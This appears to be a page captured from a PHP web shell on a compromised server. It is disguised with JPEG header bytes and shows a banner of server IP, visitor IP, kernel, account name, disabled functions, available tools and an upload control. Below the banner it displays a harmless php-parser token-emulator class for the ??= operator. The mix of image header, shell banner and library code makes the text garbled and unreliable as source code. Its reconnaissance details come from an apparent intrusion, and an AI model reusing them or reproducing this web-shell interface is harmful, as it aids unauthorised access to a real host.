ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.78.131 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/hrupgrade/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ |
Upload File : |
<?php declare(strict_types=1); namespace PhpParser\Lexer\TokenEmulator; use PhpParser\Lexer\Emulative; final class CoaleseEqualTokenEmulator extends TokenEmulator { public function getPhpVersion(): string { return Emulative::PHP_7_4; } public function isEmulationNeeded(string $code): bool { return strpos($code, '??=') !== false; } public function emulate(string $code, array $tokens): array { // We need to manually iterate and manage a count because we'll change // the tokens array on the way $line = 1; for ($i = 0, $c = count($tokens); $i < $c; ++$i) { if (isset($tokens[$i + 1])) { if ($tokens[$i][0] === T_COALESCE && $tokens[$i + 1] === '=') { array_splice($tokens, $i, 2, [ [\T_COALESCE_EQUAL, '??=', $line] ]); $c--; continue; } } if (\is_array($tokens[$i])) { $line += substr_count($tokens[$i][1], "\n"); } } return $tokens; } public function reverseEmulate(string $code, array $tokens): array { // ??= was not valid code previously, don't bother. return $tokens; } }